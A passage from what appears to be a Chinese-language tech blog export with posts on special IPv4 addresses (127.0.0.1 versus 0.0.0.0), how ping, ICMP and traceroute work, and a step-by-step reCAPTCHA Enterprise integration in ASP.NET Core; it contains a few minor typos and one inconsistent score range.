前四位是1110，用於多播(multicast)，即一對多通信。 E類地址： 前四位是1111，保留為以後使用。 其中，A、B、C 三類地址為單播地址（unicast)，用於一對一通信，是最常用的。\nIP地址分類看下面這張圖，可能更直接一些：\n（上圖來源於《IP地址和子網劃分學習筆記之《IP地址詳解》》）\n這裡還有一張IP地址分類的思維導圖：\n（上圖來源於《IP地址和子網劃分學習筆記之《IP地址詳解》》）\n特殊IP地址 特殊IP地址就是用來做一些特殊的事情。RFC1700中定義了以下特殊IP地址：\n{0,0}： 網絡號和主機號都全部為0，表示\u0026quot;本網絡上的本主機\u0026quot;，只能用作源地址。 {0，host-id}： 本網絡上的某台主機。只能用作源地址。 {-1,-1}： 表示網絡號和主機號的所有位上都是 1（二進制），用於本網絡上的廣播，只能用作目的地址，發到該地址的數據包不能轉發到源地址所在網絡之外。 {net-id,-1}： 直接廣播到指定的網絡上。只能用作目的地址。 {net-id,subnet-id,-1}： 直接廣播到指定網絡的指定子網絡上。只用作目的地址。 {net-id,-1,-1}： 直接廣播到指定網絡的所有子網絡上。只能用作目的地址。 {127,}： 即網絡號為 127 的任意 ip 地址。都是內部主機回環地址(loopback)，永遠都不能出現在主機外部的網絡中。 具體來說，特殊的IP地址，主要是以下這些：\n0.0.0.0：\n嚴格說來，0.0.0.0 已經不是一個真正意義上的IP地址了。它表示的是這樣一個集合：所有不清楚的主機和目的網絡。這裡的\u0026quot;不清楚\u0026ldquo;是指在本機的路由表裡沒有特定條目指明如何到達。對本機來說，它就是一個\u0026rdquo;收容所\u0026quot;，所有不認識的\u0026quot;三無\u0026quot;人員，一律送進去。如果你在網絡設置中設置了缺省網關，那麼 Windows 系統會自動產生一個目的地址為 0.0.0.0 的缺省路由。\n255.255.255.255：\n限制廣播地址。對本機來說，這個地址指本網段內(同一廣播域)的所有主機。如果翻譯成人類的語言，應該是這樣：\u0026ldquo;這個房間裡的所有人都注意了！\u0026quot;，這個地址不能被路由器轉發。\n127.0.0.1：\n本機地址，主要用於測試。用漢語表示，就是\u0026rdquo;我自己\u0026quot;。在 Windows 系統中，這個地址有一個別名\u0026quot;Localhost\u0026quot;。尋址這樣一個地址，是不能把它發到網絡接口的。除非出錯，否則在傳輸介質上永遠不應該出現目的地址為 \u0026ldquo;127.0.0.1\u0026rdquo; 的數據包。\n224.0.0.1：\n組播地址，注意它和廣播的區別。從 224.0.0.0 到 239.255.255.255 都是這樣的地址。224.0.0.1 特指所有主機，224.0.0.2 特指所有路由器。這樣的地址多用於一些特定的程序以及多媒體程序。如果你的主機開啟了 IRDP (Internet路由發現協議，使用組播功能)功能，那麼你的主機路由表中應該有這樣一條路由。\n169.254.xx：\n如果你的主機使用了 DHCP 功能自動獲得一個IP地址，那麼當你的 DHCP 服務器發生故障，或響應時間太長而超出了一個系統規定的時間，Windows 系統會為你分配這樣一個地址。如果你發現你的主機IP地址是一個諸如此類的地址，很不幸，十有八九是你的網絡不能正常運行了。\n10.xxx、172.16.xx～172.31.xx、192.168.xx：\n私有地址，這些地址被大量用於企業內部網絡中。一些寬帶路由器，也往往使用 192.168.1.1 作為缺省地址。私有網絡由於不與外部互連，因而可能使用隨意的IP地址。保留這樣的地址供其使用是為了避免以後接入公網時引起地址混亂。使用私有地址的私有網絡在接入 Internet 時，要使用地址翻譯(NAT)，將私有地址翻譯成公用合法地址。在 Internet 上，這類地址是不能出現的。\n127.0.0.1 和 0.0.0.0 的區別 基本情況 通過上節基礎知識的回顧，我們回到正題：127.0.0.1 與 0.0.0.0 地址的區別是什麼？\n我們先來看下共同點：\n都屬於特殊地址。 都屬於A類地址。 都是IPV4地址。 接下來我們分別看下這兩個地址的具體作用，就一目了解了。\n0.0.0.0 說明 IPV4中，0.0.0.0 地址被用於表示一個無效的、未知的或者不可用的目標：\n在服務器中： 0.0.0.0 指的是本機上的所有IPV4地址，如果一個主機有兩個IP地址，192.168.1.1 和 10.1.2.1，並且該主機上的一個服務監聽的地址是 0.0.0.0 ，那麼通過兩個ip地址都能夠訪問該服務。 在路由中： 0.0.0.0 表示的是默認路由，即當路由表中沒有找到完全匹配的路由的時候所對應的路由。 用途總結 當一台主機還沒有被分配一個IP地址的時候，用於表示主機本身（DHCP 分配IP地址的時候）。 用作默認路由，表示\u0026quot;任意IPV4主機\u0026quot;。 用來表示目標機器不可用。 用作服務端，表示本機上的任意IPV4地址。 127.0.0.1 說明 127.0.0.1 屬於 {127,} 集合中的一個，而所有網絡號為 127 的地址都被稱之為回環地址，所以回環地址不等於 127.0.0.1，它們是包含關係，即回環地址包含 127.0.0.1。\n用途總結 回環測試： 通過使用 ping 127.0.0.1 測試某台機器上的網絡設備，操作系統或者 TCP/IP 實現是否工作正常。 DDos攻擊防禦： 網站收到 DDos 攻擊之後，將域名A記錄到 127.0.0.1，即讓攻擊者自己攻擊自己。 程序測試： 大部分 Web 容器測試的時候綁定的本機地址。 回環地址的定義 所有發往該類地址的數據包都應該被 loop back。\nBONUS：127.0.0.1 與 localhost 的關係 相比 127.0.0.1，localhost 具有更多的意義。\nlocalhost 是個域名，而不是一個ip地址。之所以我們經常把 localhost 與 127.0.0.1 認為是同一個是因為我們使用的大多數電腦上都講 localhost 指向了 127.0.0.1 這個地址。\n在 ubuntu 系統中，/ets/hosts 文件中都會有如下內容：\n/ets/hosts 1 2 3 4 5 6 7 8 127.0.0.1 localhost 127.0.1.1 52im-aliyun # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 上面第一行是幾乎每台電腦上都會有的默認配置。但是 localhost 的意義並不局限於 127.0.0.1。\nlocalhost 是一個域名，用於指代 this computer 或者 this host，可以用它來獲取運行在本機上的網絡服務。\n在大多數系統中，localhost 被指向了 IPV4 的 127.0.0.1 和 IPV6 的::1：\n1 2 127.0.0.1 localhost ::1 localhost 所以，在使用的時候要注意確認IPV4還是IPV6。\n結語 127.0.0.1 是一個環回地址，並不表示\u0026quot;本機\u0026quot;。\n0.0.0.0 才是真正表示\u0026quot;本網絡中的本機\u0026quot;。\n在實際應用中：一般我們在服務端綁定端口的時候可以選擇綁定到 0.0.0.0，這樣我的服務訪問方就可以通過我的多個ip地址訪問我的服務。\n比如：我有一台服務器，一個外網地址A,一個內網地址B，如果我綁定的端口指定了 0.0.0.0，那麼通過內網地址或外網地址都可以訪問我的應用。\n但是如果我只綁定了內網地址，那麼通過外網地址就不能訪問。所以如果綁定 0.0.0.0，也有一定安全隱患，對於只需要內網訪問的服務，可以只綁定內網地址。\n","date":"2023-02-08T00:00:00Z","image":"https://live.staticflickr.com/65535/52675709862_d54358fb30_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-08/different-in-localhost-ip/","title":"你/妳真的了解 127.0.0.1 與 0.0.0.0 的區別？"},{"content":" 參考網站\n參考網站\n參考網站\n前言 老於網絡編程熟手來說，在測試和部署網絡通信應用（比如IM聊天、實時音視頻等）時，如果發現網絡連接超時，第一時間想到的就是使用Ping命令，Ping一下服務器看看通不通。甚至在有些情況下通過圖形化的Ping命令工具對目標網絡進行長測（比如：《兩款增強型Ping工具：持續統計、圖形化展式網絡狀況[附件下載]》、《網絡測試：Android版多路ping命令工具EnterprisePing[附件下載]》），可以得出當前網絡通信的網絡延遲、網絡丟包率、網絡抖動等等有價值信息。\nPing命令很簡單，但作為為數不多的網絡檢測工具，卻非常有用，是開發網絡應用時最常用到的命令。雖然Ping這個動作這麼簡單，但你知道Ping命令背後後的邏輯嗎？跟著本篇文章瞭解一下！\nPing命令的作用和原理 簡單來說，「ping」是用來探測本機與網絡中另一主機之間是否可達的命令，如果兩台主機之間ping不通，則表明這兩台主機不能建立起連接。ping是定位網絡通不通的一個重要手段。\nping 命令是基於 ICMP 協議來工作的，「ICMP」全稱為Internet 控制報文協議（Internet Control Message Protocol）。ping 命令會發送一份ICMP回顯請求報文給目標主機，並等待目標主機返回ICMP回顯應答。因為ICMP協議會要求目標主機在收到消息之後，必須返回ICMP應答消息給源主機，如果源主機在一定時間內收到了目標主機的應答，則表明兩台主機之間網絡是可達的。\n舉一個例子來描述「ping」命令的工作過程：\n假設有兩個主機，主機A（192.168.0.1）和主機B（192.168.0.2），現在我們要監測主機A和主機B之間網絡是否可達，那麼我們在主機A上輸入命令： 1 ping 192.168.0.2。 此時，ping 命令會在主機A上構建一個ICMP的請求數據包（數據包裡的內容後面再詳述），然後ICMP協議會將這個數據包以及目標IP（192.168.0.2）等信息一同交給IP層協議。\nIP層協議得到這些信息後，將源地址（即本機IP）、目標地址（即目標IP：192.168.0.2）、再加上一些其它的控制信息，構建成一個IP數據包。\nIP數據包構建完成後，還不夠，還需要加上MAC地址，因此，還需要通過ARP映射表找出目標IP所對應的MAC地址。當拿到了目標主機的MAC地址和本機MAC後，一併交給數據鏈路層，組裝成一個數據幀，依據以太網的介質訪問規則，將它們傳送出出去。\n當主機B收到這個數據幀之後，會首先檢查它的目標MAC地址是不是本機，如果是，就接收下來處理，接收之後會檢查這個數據幀，將數據幀中的IP數據包取出來，交給本機的IP層協議，然後IP層協議檢查完之後，再將ICMP數據包取出來交給ICMP協議處理，當這一步也處理完成之後，就會構建一個ICMP應答數據包，回發給主機A。\n在一定的時間內，如果主機A收到了應答包，則說明它與主機B之間網絡可達；如果沒有收到，則說明網絡不可達。除了監測是否可達以外，還可以利用應答時間和發起時間之間的差值，計算出數據包的延遲耗時。\n通過 ping 的流程可以發現，ICMP協議是這個過程的基礎，是非常重要的，下面的章節會把ICMP協議再詳細解釋一下，請繼續往下讀。\n正確理解ICMP協議 Ping命令所基於的ICMP協議所處的網絡模型層級：\n（▲ 上圖來自《計算機網絡通訊協議關係圖（中文珍藏版）[附件下載]》，您可下載此圖的完整清晰版）\nPing 命令這麼簡單，在任何系統上上手就能使用，很多人可能想當然的認為 Ping 命令使用的ICMP協議應該是基於傳輸層的TCP或UDP協議的吧？\n正如上圖所示，ICMP協議既不是基於TCP，也不是基於UDP，而是直接基於網絡層的IP協議，在整個網絡協議棧中屬於相當底層的協議了。這也從側面證明了它的重要性，因為根據ICMP的RFC手冊規定：ICMP協議是任何支持IP協議的系統必須實現的，沒有餘地。而IP協議是整個互聯網的基石，ICMP協議雖簡單，但重要性不言而喻。\n所以，以後面試的時候，如果碰到\u0026quot;ICMP協議是基於什麼實現的？\u0026ldquo;這樣的問題，請一定要記往此節所講的內容。\n深入ICMP協議 我們知道，ping 命令是基於ICMP協議來實現的。那麼我們再來看下圖，就明白了ICMP協議又是通過IP協議來發送的，即ICMP報文是封裝在IP包中（如下圖所示）。\nIP協議是一種無連接的，不可靠的數據包協議，它並不能保證數據一定被送達，那麼我們要保證數據送到，就需要通過其它模塊來協助實現，這裡就引入的是ICMP協議。\n當傳送的IP數據包發送異常的時候，ICMP就會將異常信息封裝在包內，然後回傳給源主機。\n將上圖再細拆一下可見：\n繼續將ICMP協議模塊細拆：\n由圖可知，ICMP數據包由8bit的類型字段和8bit的代碼字段以及16bit的校驗字段再加上選項數據組成。\nICMP協議大致可分為兩類：\n查詢報文類型 差錯報文類型 ICMP報文類型 類型的值 ICMP的報文類型 差錯報文類型 3 終點不可達 4 源點抑制 11 時間超過 12 參數問題 5 改變路由 詢問報文 8 回送請求 0 回送回答 13 時間戳請求 14 時間戳會帶 【關於查詢報文類型】： 查詢報文主要應用於：ping 查詢、子網掩碼查詢、時間戳查詢等等。\n上面講到的 ping 命令的流程其實就對應ICMP協議查詢報文類型的一種使用。在主機A構建ICMP請求數據包的時候，其ICMP的類型字段中使用的是8 （回送請求），當主機B構建ICMP應答包的時候，其ICMP類型字段就使用的是0 （回送應答），更多類型值參考上表。\n對查詢報文類型的理解可參考一下文章最開始講的 ping 流程，這裡就不做贅述。\n【關於差錯報文類型】： 差錯報文主要產生於當數據傳送發送錯誤的時候。\n它包括：目標不可達（網絡不可達、主機不可達、協議不可達、端口不可達、禁止分片等）、超時、參數問題、重定向（網絡重定向、主機重定向等）等等。\n差錯報文通常包含了引起錯誤的IP數據包的第一個分片的IP首部，加上該分片數據部分的前8個字節。\n當傳送IP數據包發生錯誤的時候（例如主機不可達），ICMP協議就會把錯誤信息封包，然後傳送回源主機，那麼源主機就知道該怎麼處理了。\nICMP差錯報文的妙用 正如上一節所介紹的那樣，ICMP協議主要有：查詢報文類型和差錯報文類型兩種。對於差錯報文來說，是不是只有遇到錯誤的時候才能使用呢？不是！\n基於這個特性，Linux 下的 Traceroute 指令（Windows 下的對等指令是 tracert）利於ICMP的差錯報文可以實現遍歷到數據包傳輸路徑上的所有路由器！這真是個有用的命令！\n百度百科上關於 traceroute 命令的用途：\ntraceroute (Windows 系統下是 tracert) 命令利用 ICMP 協議定位您的計算機和目標計算機之間的所有路由器。TTL 值可以反映數據包經過的路由器或網關的數量，通過操縱獨立 ICMP 呼叫報文的 TTL 值和觀察該報文被拋棄的返回信息，traceroute 命令能夠遍歷到數據包傳輸路徑上的所有路由器。\nICMP 的差錯報文的使用，使得 Traceroute 成為用來偵測源主機到目標主機之間所經過路由情況的常用工具。Traceroute 的原理就是利用ICMP的規則，製造一些錯誤的事件出來，然後根據錯誤的事件來評估網絡路由情況。\ntraceroute 的基本原理如下圖所示：\n具體做法就是：\nTraceroute 會設置特殊的 TTL 值，來追踪源主機和目標主機之間的路由數。首先它給目標主機發送一個 TTL=1 的UDP數據包，那麼這個數據包一旦在路上遇到一個路由器，TTL 就變成了 0（TTL規則是每經過一個路由器都會減1），因為 TTL=0 了，所以路由器就會把這個數據包丟掉，然後產生一個錯誤類型（超時）的ICMP數據包回發給源主機，也就是差錯包。這個時候源主機就拿到了第一個路由節點的IP和相關信息了。\n接著，源主機再給目標主機發一個 TTL=2 的UDP數據包，依舊上述流程走一遍，就知道第二個路由節點的IP和耗時情況等信息了。\n如此反復進行，Traceroute 就可以拿到從主機A到主機B之間所有路由器的信息了。\n但是有個問題是，如果數據包到達了目標主機的話，即使目標主機接收到 TTL 值為 1 的IP數據包，它也是不會丟棄該數據包的，也不會產生一份超時的ICMP回發數據包的，因為數據包已經達到了目的地嘛。那我們應該怎麼認定數據包是否達到了目標主機呢？\nTraceroute 的方法是在源主機發送UDP數據包給目標主機的時候，會設置一個不可能達到的目標端口號（例如大於30000的端口號），那麼當這個數據包真的到達目標主機的時候，目標主機發現沒有對應的端口號，因此會產生一份端口不可達的錯誤ICMP報文返回給源主機。\n可見 Traceroute 的原理確實很取巧，很有趣。如您對 Traceroute 感興趣，可以深入讀一讀《從 Traceroute 看網絡問題》一文。\n","date":"2023-02-08T00:00:00Z","image":"https://live.staticflickr.com/65535/52676255219_5b0b2d891c_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-08/what-is-ping/","title":"每天都在用的 Ping 命令，它到底是什麼？"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n網站上幾乎每頁都有聯絡表單，並透過 AJAX 傳送到後端 API 負責記錄並送出郵件到公司的服務信箱，但網站上線後，垃圾訊息太常收到。因此，我打算將表單加入 Google Cloud Platform (GCP) 的 reCAPTCHA Enterprise 服務，減少收到垃圾訊息的機會，這篇文章我來分享一下完整的開發流程！\n先整理幾個重要概念 reCAPTCHA 原本是由卡內基梅隆大學所發展的系統，主要目的是利用 CAPTCHA 技術來幫助典籍數位化的進行，這個計畫將由書本掃瞄下來無法準確的被光學文字辨識技術識別的文字顯示在 CAPTCHA 問題中，讓人類在回答 CAPTCHA 問題時用人腦加以識別。2009 年 9 月 17 日 Google 宣佈收購 reCAPTCHA 技術，持續發展之下也提供標準的 API 供用戶免費使用，時至今日已經發展出好幾個版本。\n目前可以在 Google 網站找到 3 個不同的版本，其功能與特性各有不同：\nreCAPTCHA v2 除了原來的文字掃瞄圖片外，也採用 Google 街景拍攝的門牌號碼相片。\nreCAPTCHA v3 採用分數制驗證系統，對使用者在網站上的動作進行評分，若分數過低則會被判定為機器人。\nreCAPTCHA Enterprise 與 reCAPTCHA v3 相同，採用分數制驗證系統，但能夠提供更精細的分數以及高風險分數原因代碼，以供進一步分析之用。\n本篇文章主要是以 reCAPTCHA Enterprise 為主，版本比較可參考 Comparison of features between reCAPTCHA versions 文件。\nreCAPTCHA Enterprise 有個重要的概念，就是 reCAPTCHA keys 或 site keys，我將其翻譯為「網站通關金鑰」或是「驗證金鑰」也許比較恰當，他是一個使用在你網站的一組公開金鑰，透過這個 site keys 會依據使用者端提供的各種資訊，自動產生一個唯一的「回應值」(Response)，你要把這個「回應值」傳到後端的 reCAPTCHA Server 進行驗證，由 reCAPTCHA Server 判斷出這個「回應值」是否是「真人」(Human)或「假人」(Bots)。\nreCAPTCHA Enterprise 的 site keys 有 3 種使用方式：\nScore-based (no challenge) site keys 以「分數」為基礎的驗證方法，這種驗證方法完全不需要由使用輸入資訊，系統會自動判斷使用者透過瀏覽器、鍵盤或是觸控等使用方式，自動收集使用者跟手機或網頁之間的互動情況，判斷該「使用者」是否為「真人」或「假人」，送到 reCAPTCHA Server 驗證時，會提供你一個「分數」(Score)，從 0.0 ～ 10.0 分，其中 0.0 就是絕對的「假人」，而 10.0 就是絕對的「真人」。這種類型的 site keys 適用於「手機 APP」或「網頁」環境。\n這樣對使用者來說非常方便，不用讓客戶還在那邊選「哪幾張圖是公車」之類的，表單輸入門檻會低很多。\nCheckbox (checkbox challenge) site keys 所謂 Checkbox 就真的是「核取方塊」的意思（如下圖示），他需要使用者真的去對這個 Checkbox 做個點擊的動作，藉此判斷跟網頁互動的對像是否為「真人」在操作。想當然的，這種驗證方式一定要跟使用者發生互動，所以只能用在「網頁」的介面上，尤其特別適合用在「表單填寫」、「網站登入」、「註冊會員」等網頁功能，但不適用於透過「手機 APP」或其他互動方式。\n這種驗證方式可能不適用於所有情境，例如要提供「無障礙」網站的話，對「視覺」有問題的用戶就會很不方便，因此使用時要注意。詳見 Understanding the caveats with CAPTCHA challenges\nreCAPTCHA WAF site keys 這個 reCAPTCHA WAF site keys 可以讓你把 sitekey 安裝在 WAF (應用程式防火牆) 這一層，但這種作法必須要合格的 WAF service provider 才能使用，例如 GCP 自家的 Google Cloud Armor 服務。詳情請見 reCAPTCHA Enterprise for WAF and Google Cloud Armor integration overview 說明。\n整合 reCAPTCHA Enterprise 的大致流程 想要整合 reCAPTCHA Enterprise 到你的網站，建議多少理解一下 reCAPTCHA Enterprise 的運作流程，你可以從 How reCAPTCHA Enterprise works 看到以下循序圖(sequence diagram)：\n即便你大概知道這個流程，我還是覺得整合 reCAPTCHA Enterprise 有一點小門檻，所以我打算簡化成以下 3 個步驟來說明：\n申請 reCAPTCHA keys 階段 你要到 Google Cloud console 建立 reCAPTCHA keys\n也可以從 Google Cloud console 左上角的漢堡選單選取 Security \u0026gt; reCAPTCHA Enterprise 進入此頁面。\n收集前端使用者回應值階段 安裝 reCAPTCHA keys 到網頁上 (主要用來收集 reCAPTCHA 回應值)\n後端評估與驗證回應值階段 這個步驟會先從後端應用程式取得前端傳來的回應值，並將回應值送到 reCAPTCHA Server 進行評估(assessment)，並取得一個評估後的 Score (分數)，從該分數判斷這個 HTTP 要求是否要允許通過。\n此步驟最為麻煩，主因是缺少 ASP.NET Core 範例，所以上手確實有點門檻！\n以下我就依據這三個階段，分別說明作法！\n申請 reCAPTCHA keys 階段 可以參考 Creating reCAPTCHA keys 這份文件進行操作。\n你要先有一個 Google 帳戶\n在 Google Cloud Console 建立一個新專案\n啟用 reCAPTCHA Enterprise API 服務 進入 reCAPTCHA Enterprise 頁面，如果尚未啟用 reCAPTCHA Enterprise API 服務的話，會先出現以下畫面，你必須選對 GCP 上面的專案(Project)，然後按下 ENABLE 啟用服務：\n建立 reCAPTCHA keys 進入 reCAPTCHA Enterprise 頁面\n輸入一個顯示名稱(Display name)與使用 reCAPTCHA keys 的平台(Platform type)，由於我們是一個網站服務，所以記得選擇 Website 選項\n如果是網站使用，就要設定網站的域名在此，你可以新增多個域名：\n最後按下 CREATE KEY 建立即可。\n收集前端使用者回應值階段 我們從上一個步驟可以看到一個 Web integration 區段，這裡有一段 JavaScript 程式碼片段，你直接複製起來，貼上到網頁的 \u0026lt;head\u0026gt; 區段內，即可開始收集前端使用者回應值。\n範例程式碼如下：\n1 2 3 4 5 6 7 8 \u0026lt;script src=\u0026#34;https://www.google.com/recaptcha/enterprise.js?render=6LdSxPgjAAAAAGTKX703ydrWNF8WbQv2pZbRXGyX\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; grecaptcha.enterprise.ready(function() { grecaptcha.enterprise.execute(\u0026#39;6LdSxPgjAAAAAGTKX703ydrWNF8WbQv2pZbRXGyX\u0026#39;, {action: \u0026#39;login\u0026#39;}).then(function(token) { ... }); }); \u0026lt;/script\u0026gt; 這裡特別需要知道的地方有以下幾點：\n程式碼片段的 6LdSxPgjAAAAAGTKX703ydrWNF8WbQv2pZbRXGyX 就是你的 reCAPTCHA key\n這裡的 grecaptcha.enterprise.ready() 函式會在載入完 reCAPTCHA Enterprise 函式庫後執行，只會執行一次\n這裡的 grecaptcha.enterprise.execute() 函式則會執行 reCAPTCHA 驗證（這個函式會回傳一個 Promise 物件）\n這裡的 { action: 'login'} 也很重要，這裡是設定一個「驗證動作」的類型，這個值要跟後端進行驗證時使用相同的 action 才行\nGoogle reCAPTCHA 的 action 參數可以是任何字串，它可以用來標記驗證的目的或類型。一些常用的 action 值包括：login (用於登入驗證)、register (用於註冊驗證)、password_reset (用於密碼重置驗證)、contact (用於聯繫表單驗證)，但其實沒有一定要用哪一種，不知道要挑哪一種的話，你隨便選個 login 其實都可以。\n程式碼片段中的 ... 不是真的程式碼，而是一個要你客製化修改的地方！\n由於 grecaptcha.enterprise.execute() 函式是一個 Promise 物件，你可以透過 .then() 帶入的 function callback 得到一個 token 字串，這個就是由 reCAPTCHA Enterprise 幫你收集好的「回應值」，你要設法將這個值帶到後端去驗證。\n這裡有個地雷是，這個透過 grecaptcha.enterprise.execute() 函式取回的 token 有效期只有 2 分鐘！\n各位~只有 2 分鐘就會過時/過期！只要 2 分鐘就會 Timeout！只要 2 分鐘就不能用了！\n很重要，所以說三遍，為了 SEO 要求，我用三份關鍵字描述！🔥\n超過 2 分鐘之後這個 token 就失效了，所以千萬不能在「網頁載入」的時候就取得 token 回應值，否則表單填寫超過 2 分鐘之後不就自動失效了嗎？這個注意事項是有出現在 Create an assessment 官方文件中，我有點懷疑會有多少人看到？😅\n後端評估與驗證回應值階段 這裡的步驟就有點多了，我會以 ASP.NET Core 6 為例進行解說完整步驟。\n到 Google Cloud Console 的 IAM \u0026amp; Admin \u0026gt; Service accounts 建立一個服務帳戶(Service Accounts) 要從網站的後端呼叫 GCP 上面的 API 服務，都需要有一個身分(Principal)來呼叫 API 服務。你可以從 APIs \u0026amp; Services \u0026gt; Enabled APIs \u0026amp; Services 找到 reCAPTCHA Enterprise API 服務，點擊進去：\n我們要建立一個 reCAPTCHA Enterprise API 所需的 CREDENTIALS (身分認證)\n這裡有兩個選項，我們透過網站整合 reCAPTCHA Enterprise API 一定是使用 Service Accounts (服務帳戶) 這項！\n設定一個服務帳戶名稱，好記就好\n🔥 這個步驟超級重要，你要是不在這裡選對 Role (角色)，也就是 reCAPTCHA Enterprise Agent，就算你取得 Service Account 也沒有權限呼叫 reCAPTCHA Enterprise API！\n如果沒設定的話，你的 ASP.NET Core 執行時就會得到以下錯誤訊息：\n1 Status(StatusCode=\u0026#34;PermissionDenied\u0026#34;, Detail=\u0026#34;Permission denied for: recaptchaenterprise.assessments.create. Please ensure you have sufficient permissions: https://cloud.google.com/iam/docs/granting-changing-revoking-access\u0026#34;) 這個步驟可以不用設定，直接按下 DONE 完成設定。\n點擊進入剛剛建立的服務帳戶\n🔥 切換到 KEYS 頁籤，建立一把新的私密金鑰(key)，主要用來給後端程式呼叫 API 時通過驗證用！\n建立金鑰可以選擇兩種格式，我們選擇 JSON 格式\n🔥 按下 CREATE 之後，瀏覽器就會直接下載一個 *.json 檔案，這個檔案就是我們的金鑰檔，之後在 ASP.NET Core 網站中用的到！\n這個 JSON 檔案的內容大致如下：\n1 2 3 4 5 6 7 8 9 10 11 12 { \u0026#34;type\u0026#34;: \u0026#34;service_account\u0026#34;, \u0026#34;project_id\u0026#34;: \u0026#34;recaptchademo-374714\u0026#34;, \u0026#34;private_key_id\u0026#34;: \u0026#34;9462e07151d......181083e38c718503\u0026#34;, \u0026#34;private_key\u0026#34;: \u0026#34;-----BEGIN PRIVATE KEY-----\\nM...g=\\n-----END PRIVATE KEY-----\\n\u0026#34;, \u0026#34;client_email\u0026#34;: \u0026#34;myrecaptcha@recaptchademo-374714.iam.gserviceaccount.com\u0026#34;, \u0026#34;client_id\u0026#34;: \u0026#34;11581452......4955852\u0026#34;, \u0026#34;auth_uri\u0026#34;: \u0026#34;https://accounts.google.com/o/oauth2/auth\u0026#34;, \u0026#34;token_uri\u0026#34;: \u0026#34;https://oauth2.googleapis.com/token\u0026#34;, \u0026#34;auth_provider_x509_cert_url\u0026#34;: \u0026#34;https://www.googleapis.com/oauth2/v1/certs\u0026#34;, \u0026#34;client_x509_cert_url\u0026#34;: \u0026#34;https://www.googleapis.com/robot/v1/metadata/x509/myrecaptcha%40recaptchademo-374714.iam.gserviceaccount.com\u0026#34; } 這個步驟我做了好幾次，漏掉一兩步就別想玩下去了，所以 GCP 就是主要的門檻所在！😅\n在 ASP.NET Core 網站安裝 Google.Cloud.RecaptchaEnterprise.V1 NuGet 套件 1 dotnet add package Google.Cloud.RecaptchaEnterprise.V1 設定 ASP.NET Core 網站的 DI 容器 (ServiceCollection) 以下程式碼會將 RecaptchaEnterpriseServiceClient 註冊成 Singleton，並設定 JsonCredentials 為我們剛剛下載的私密金鑰 JSON 檔！\n1 2 3 4 builder.Services.AddRecaptchaEnterpriseServiceClient(options =\u0026gt; { options.JsonCredentials = File.ReadAllText(\u0026#34;recaptchademo-374714-9462e07151d4.json\u0026#34;); }); 如果沒有指定 Credentials 的話，執行時就會得到以下錯誤訊息：\n1 The Application Default Credentials are not available. They are available if running in Google Compute Engine. Otherwise, the environment variable GOOGLE_APPLICATION_CREDENTIALS must be defined pointing to a file defining the credentials. See https://developers.google.com/accounts/docs/application-default-credentials for more information. 在 Controller 的建構式注入 RecaptchaEnterpriseServiceClient 物件 1 2 3 4 5 6 private readonly RecaptchaEnterpriseServiceClient _recaptchaClient; public ContactController(RecaptchaEnterpriseServiceClient re) { this._recaptchaClient = re; } 建立一個 createAssessmentAsync 方法 (Method) 我參考 Create an assessment using the REST API or Client Libraries 的 C# 範例程式進行改寫如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 // Create an assessment to analyze the risk of an UI action. // projectID: GCloud Project ID. // recaptchaSiteKey: Site key obtained by registering a domain/app to use recaptcha. // token: The token obtained from the client on passing the recaptchaSiteKey. // recaptchaAction: Action name corresponding to the token. private async Task\u0026lt;bool\u0026gt; createAssessmentAsync(string token, string projectID = \u0026#34;recaptchademo-374714\u0026#34;, string recaptchaSiteKey = \u0026#34;6LdSxPgjAAAAAGTKX703ydrWNF8WbQv2pZbRXGyX\u0026#34;, string recaptchaAction = \u0026#34;login\u0026#34;) { if (String.IsNullOrWhiteSpace(token)) { throw new ArgumentException(\u0026#34;The `token` argument must not empty.\u0026#34;); } ProjectName projectName = new ProjectName(projectID); // Build the assessment request. CreateAssessmentRequest createAssessmentRequest = new CreateAssessmentRequest() { Assessment = new Assessment() { // Set the properties of the event to be tracked. Event = new Event() { SiteKey = recaptchaSiteKey, Token = token, ExpectedAction = recaptchaAction }, }, ParentAsProjectName = projectName }; Assessment response = await _recaptchaClient.CreateAssessmentAsync(createAssessmentRequest); // Check if the token is valid. if (response.TokenProperties.Valid == false) { _logger.LogInformation(\u0026#34;The CreateAssessment call failed because the token was: \u0026#34; + response.TokenProperties.InvalidReason.ToString()); return false; } // Check if the expected action was executed. if (response.TokenProperties.Action != recaptchaAction) { _logger.LogInformation(\u0026#34;The action attribute in reCAPTCHA tag is: \u0026#34; + response.TokenProperties.Action.ToString()); _logger.LogInformation(\u0026#34;The action attribute in the reCAPTCHA tag does not \u0026#34; + \u0026#34;match the action you are expecting to score\u0026#34;); return false; } // Get the risk score and the reason(s). // For more information on interpreting the assessment, // see: https://cloud.google.com/recaptcha-enterprise/docs/interpret-assessment var score = response.RiskAnalysis.Score; _logger.LogInformation(\u0026#34;The reCAPTCHA score is: \u0026#34; + score); foreach (RiskAnalysis.Types.ClassificationReason reason in response.RiskAnalysis.Reasons) { _logger.LogInformation(reason.ToString()); } // https://developers.google.com/recaptcha/docs/analytics // This chart shows the average score on your site, which is designed to help you spot trends. // Scores range from 0.0 to 1.0, with 0.0 indicating abusive traffic and 1.0 indicating good traffic. // Sign up for reCAPTCHA v3 to gain more insights about your traffic. if (score \u0026gt; 0.5) { return true; } else { return false; } } 這裡 method 總共有 4 個參數，都很重要，除了 token 之外，其他都可以寫進 appsettings.json 組態之中！\n因為 GCP 上的每個「專案」都有個唯一的 projectID，你要特別查才知道是什麼，這裡的 projectID 要記得到 https://console.cloud.google.com/welcome 查閱！\n這裡的 recaptchaSiteKey 就是你先前建立 site key 時拿到的那組！\n這裡的 recaptchaAction 必須跟你在「收集前端使用者回應值階段」設定的 {action: 'login'} 完全一樣，這裡是設定一個「驗證動作」的類型，可以是任意字串！\n程式碼邏輯的部分我就不贅述了，大家可以自己看，應該很容易理解。最後的 if (score \u0026gt; 0.5) {} 